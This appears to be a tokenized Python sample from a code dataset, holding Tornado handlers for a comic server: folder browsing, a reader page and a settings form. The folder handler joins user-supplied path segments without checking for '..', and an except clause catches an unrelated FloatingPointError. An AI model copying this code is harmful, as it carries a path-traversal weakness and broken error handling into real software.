"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "=_", "urllib_", "._", "unquote_", "(_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arglist_", "=_", "args_", "._", "split_", "(_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arglist_", "=_", "filter_", "(_", "None_", ",_", "arglist_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "argc", "ount_", "=_", "len_", "(_", "arglist_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arglist_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "argc", "ount_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "folder", "\\u", "list_", "=_", "self_", "._", "application_", "._", "config_", "[_", "'", "genera", "l", "'_", "]_", "[_", "'", "folder", "\\u", "list", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "current", "'_", ":_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "folder", "s", "'_", ":_", "[_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "comics", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "\\u", "path", "'_", ":_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "count", "'_", ":_", "0_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "argc", "ount_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "just", " ", "send", " ", "the", " ", "list", " ", "of", " ", "root", " ", "level", " ", "folders_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "idx_", ",_", "val_", "in_", "enumerate_", "(_", "folder", "\\u", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "item_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "val_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "\\u", "path", "'_", ":_", "\"/", "folder", "s", "/\"_", "+_", "str_", "(_", "idx_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "[_", "'", "folder", "s", "'_", "]_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "need", " ", "to", " ", "validat", "e", " ", "the", " ", "first", " ", "arg", " ", "is", " ", "an", " ", "index", " ", "int", "o", " ", "the", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "folder", "\\u", "idx_", "=_", "int_", "(_", "arglist_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "folder", "\\u", "idx_", ">=_", "len_", "(_", "folder", "\\u", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "build", " ", "up", " ", "a", " ", "folder", " ", "by", " ", "combin", "ing", " ", "the", " ", "root", " ", "folder", " ", "with", " ", "the", " ", "follow", "ing", " ", "path_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "folder", "\\u", "list_", "[_", "folder", "\\u", "idx_", "]_", ",_", "*_", "arglist_", "[_", "1_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "validat", "e", " ", "*", "tha", "t", "*", " ", "folder_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"", "Not", " ", "exist", "\"_", ",_", "path_", ",_", "type_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "[_", "'", "current", "'_", "]_", "=_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "list", " ", "of", " ", "subfolder", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "for_", "o_", "in_", "os_", "._", "listdir_", "(_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "os_", "._", "path_", "._", "isdir_", "(_", "os_", "._", "path_", "._", "join_", "(_", "path_", ",_", "o_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sub\\u", "path_", "=_", "u", "\"/", "folder", "s", "\"_", "+_", "args_", "+_", "u", "\"/\"_", "+_", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub\\u", "path_", "=_", "urllib_", "._", "quote_", "(_", "sub\\u", "path_", "._", "encode_", "(_", "\"", "utf", "-", "8", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "item_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "o_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "\\u", "path", "'_", ":_", "sub\\u", "path_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "[_", "'", "folder", "s", "'_", "]_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "see", " ", "if", " ", "there", " ", "are", " ", "any", " ", "comics", " ", "here_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "[_", "'", "comics", "'_", "]_", "[_", "'", "count", "'_", "]_", "=_", "session_", "._", "query_", "(_", "Com", "ic_", ")_", "._", "filter_", "(_", "Com", "ic_", "._", "folder_", "==_", "path_", ")_", "._", "count_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comic", "\\u", "path_", "=_", "u", "\"/", "comic", "list", "?", "folder", "=\"_", "+_", "urllib_", "._", "quote_", "(_", "u", "\"{", "0", "}\"_", "._", "format_", "(_", "path_", ")_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "[_", "'", "comics", "'_", "]_", "[_", "'", "url", "\\u", "path", "'_", "]_", "=_", "comic", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Float", "ing", "Point", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "tornado_", "._", "web_", "._", "HTTP", "Error_", "(_", "404_", ",_", "\"", "Un", "know", "n", " ", "folder", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "set", "Conten", "t", "Type_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Read", "er", "Handler_", "(_", "Base", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "tornado_", "._", "web_", "._", "authenticated_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get_", "(_", "self_", ",_", "comic", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "session_", "=_", "self_", "._", "application_", "._", "dm_", "._", "Session_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "session_", "._", "query_", "(_", "Com", "ic_", ")_", "._", "filter_", "(_", "Com", "ic_", "._", "id_", "==_", "int_", "(_", "comic", "\\u", "id_", ")_", ")_", "._", "first_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page", "\\u", "data_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "obj_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "self", ".", "render", "(\"", "template", "s", "/", "reader", ".", "html", "\",", " ", "make", "\\u", "list", "=", "self", ".", "make", "\\u", "list", ",", " ", "id", "=", "comic", "\\u", "id", ",", " ", "count", "=", "obj", ".", "page", "\\u", "count", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "render", "(\"", "test", ".", "html", "\",", " ", "make", "\\u", "list", "=", "self", ".", "make", "\\u", "list", ",", " ", "id", "=", "comic", "\\u", "id", ",", " ", "count", "=", "obj", ".", "page", "\\u", "count", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "title_", "=_", "os_", "._", "path_", "._", "basename_", "(_", "obj_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "obj_", "._", "series_", "is_", "not_", "None_", "and_", "obj_", "._", "issue_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "title_", "=_", "obj_", "._", "series_", "+_", "u", "\"", " ", "#\"_", "+_", "obj_", "._", "issue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "obj_", "._", "title_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "title_", "+=_", "u", "\"", " ", "--", " ", "\"_", "+_", "obj_", "._", "title_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "obj_", "._", "lastr", "ead", "\\u", "page_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target", "\\u", "page_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target", "\\u", "page_", "=_", "obj_", "._", "lastr", "ead", "\\u", "page_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "render_", "(_", "\"", "cb", "reader", ".", "html", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title_", "=_", "title_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "=_", "comic", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "count_", "=_", "obj_", "._", "page", "\\u", "count_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "page_", "=_", "target", "\\u", "page_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "api", "\\u", "key_", "=_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "api", "\\u", "key", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "\\u", "list_", "(_", "self_", ",_", "id_", ",_", "count_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "u", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "count_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "+=_", "u", "\"\\\\'", "page", "/\"_", "+_", "str_", "(_", "i_", ")_", "+_", "u", "\"\\\\'", ",\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Config", "Page", "Handler_", "(_", "Base", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "tornado_", "._", "web_", "._", "authenticated_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form", "data_", "=_", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "port", "'_", "]_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "port", "\"_", ",_", "default_", "=_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "folder", "s", "'_", "]_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "folder", "s", "\"_", ",_", "default_", "=_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "use", "\\u", "authenticat", "ion", "'_", "]_", "=_", "(_", "len_", "(_", "self_", "._", "get", "\\u", "arguments_", "(_", "\"", "use", "\\u", "authenticat", "ion", "\"_", ")_", ")_", "!=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "user", "name", "'_", "]_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "user", "name", "\"_", ",_", "default_", "=_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "password", "'_", "]_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "password", "\"_", ",_", "default_", "=_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "password", "\\u", "confirm", "'_", "]_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "password", "\\u", "confirm", "\"_", ",_", "default_", "=_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "use", "\\u", "api", "\\u", "key", "'_", "]_", "=_", "(_", "len_", "(_", "self_", "._", "get", "\\u", "arguments_", "(_", "\"", "use", "\\u", "api", "\\u", "key", "\"_", ")_", ")_", "!=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "api", "\\u", "key", "'_", "]_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "u", "\"", "api", "\\u", "key", "\"_", ",_", "default_", "=_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form", "data_", "[_", "'", "launch", "\\u", "browse", "r", "'_", "]_", "=_", "(_", "len_", "(_", "self_", "._", "get", "\\u", "arguments_", "(_", "\"", "launch", "\\u", "browse", "r", "\"_", ")_", ")_", "!=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fail", "ure", "\\u", "str_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "success", "\\u", "str_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fail", "ure", "\\u", "strs_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "validated_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "old", "\\u", "folder", "\\u", "list_", "=_", "self_", "._", "application_", "._", "config_", "[_", "'", "genera", "l", "'_", "]_", "[_", "'", "folder", "\\u", "list", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "folder", "\\u", "list_", "=_", "[_", "os_", "._", "path_", "._", "norm", "case_", "(_", "os_", "._", "path_", "._", "abspath_", "(_", "os_", "._", "path_", "._", "normpath_", "(_", "unicode_", "(_", "a_", ")_", ")_", ")_", ")_", "for_", "a_", "in_", "form", "data_", "[_", "'", "folder", "s", "'_", "]_", "._", "splitlines_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", ",_", "f_", "in_", "enumerate_", "(_", "new", "\\u", "folder", "\\u", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "validat", "e", " ", "folder", "s", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "(_", "os_", "._", "path_", "._", "exists_", "(_", "f_", ")_", "and_", "os_", "._", "path_", "._", "isdir_", "(_", "f_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "fail", "ure", "\\u", "strs_", "._", "append_", "(_", "u", "\"", "Fold", "er", " ", "{", "0", "}", " ", "doe", "sn", "'", "t", " ", "exist", ".\"_", "._", "format_", "(_", "f_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "repeat", " ", "or", " ", "contain", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "j_", ",_", "f1_", "in_", "enumerate_", "(_", "new", "\\u", "folder", "\\u", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "i_", "!=_", "j_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "f1_", "==_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "fail", "ure", "\\u", "strs_", "._", "append_", "(_", "u", "\"", "Can", "'", "t", " ", "have", " ", "repeat", " ", "folder", "s", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "f1_", "._", "startswith_", "(_", "f_", "+_", "os_", "._", "path_", "._", "sep_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "fail", "ure", "\\u", "strs_", "._", "append_", "(_", "u", "\"", "One", " ", "folder", " ", "can", "'", "t", " ", "contain", " ", "anot", "her", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "port", "\\u", "failed_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "port_", "=_", "self_", "._", "application_", "._", "config_", "[_", "'", "genera", "l", "'_", "]_", "[_", "'", "port", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "validat", "e", " ", "numeri", "c", " ", "port_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "form", "data_", "[_", "'", "port", "'_", "]_", "._", "isdigit_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "port", "\\u", "failed_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fail", "ure", "\\u", "strs_", "._", "append_", "(_", "u", "\"", "Non", "-", "numeri", "c", " ", "port", " ", "value", ":", " ", "{", "0", "}\"_", "._", "format_", "(_", "form", "data_", "[_", "'", "port", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "validat", "e", " ", "port", " ", "range_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "port", "\\u", "failed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "port_", "=_", "int_", "(_", "form", "data_", "[_", "'", "port", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "new", "\\u", "port_", ">_", "491", "51_", "or_", "new", "\\u", "port_", "<_", "1024_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fail", "ure", "\\u", "strs_", "._", "append_", "(_", "u", "\"", "Port", " ", "value", " ", "out", " ", "of", " ", "range", " ", "(", "1024", "-", "415", "1", "):", " ", "{", "0", "}\"_", "._", "format_", "(_", "new", "\\u", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port", "\\u", "failed_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "validat", "e", " ", "port", " ", "availability_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "port", "\\u", "failed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "new", "\\u", "port_", "!=_", "old", "\\u", "port_", "and_", "not_", "self_", "._", "is", "\\u", "port", "\\u", "available_", "(_", "new", "\\u", "port_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fail", "ure", "\\u", "strs_", "._", "append_", "(_", "u", "\"", "Port", " ", "not", " ", "avail", "able", ":", " ", "{", "0", "}\"_", "._", "format_", "(_", "new", "\\u", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port", "\\u", "failed_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "validat", "e", " ", "password", " ", "and", " ", "user", "name", " ", "are", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "form", "data_", "[_", "'", "use", "\\u", "authenticat", "ion", "'_", "]_", "and_", "(_", "form", "data_", "[_", "'", "user", "name", "'_", "]_", "==_", "\"\"_", "or_", "form", "data_", "[_", "'", "password", "'_", "]_", "==_", "\"\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fail", "ure", "\\u", "strs_", "._", "append_", "(_", "u", "\"", "User", "name", " ", "and", " ", "password", " ", "must", " ", "be", " ", "filled", " ", "in", " ", "if", " ", "the", " ", "'", "use", " ", "authenticat", "ion", "'", " ", "box", " ", "is", " ", "checke", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "validat", "e", " ", "password", " ", "pair", " ", "is", " ", "the", " ", "same_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "form", "data_", "[_", "'", "password", "'_", "]_", "!=_", "form", "data_", "[_", "'", "password", "\\u", "confirm", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fail", "ure", "\\u", "strs_", "._", "append_", "(_", "u", "\"", "Passw", "ord", " ", "fields", " ", "don", "'", "t", " ", "match", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "form", "data_", "[_", "'", "use", "\\u", "api", "\\u", "key", "'_", "]_", "and_", "form", "data_", "[_", "'", "api", "\\u", "key", "'_", "]_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fail", "ure", "\\u", "strs_", "._", "append_", "(_", "u", "\"", "API", " ", "Key", " ", "must", " ", "have", " ", "a", " ", "value", " ", "if", " ", "the", " ", "box", " ", "is", " ", "checke", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "fail", "ure", "\\u", "strs_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validated_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "validated_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "was", " ", "the", " ", "password", " ", "change", "d", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "password", "\\u", "changed_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "form", "data_", "[_", "'", "use", "\\u", "authenticat", "ion", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "form", "data_", "[_", "'", "password", "'_", "]_", "==_", "Config", "Page", "Handler_", "._", "fake", "pass_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "password", "\\u", "changed_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "utils_", "._", "get", "Dig", "est_", "(_", "form", "data_", "[_", "'", "password", "'_", "]_", ")_", "==_", "self_", "._", "application_", "._", "config_", "[_", "'", "security", "'_", "]_", "[_", "'", "password", "\\u", "digest", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "password", "\\u", "changed_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "password", "\\u", "changed_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "find", " ", "out", " ", "if", " ", "we", " ", "need", " ", "to", " ", "save", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "new", "\\u", "port_", "!=_", "old", "\\u", "port_", 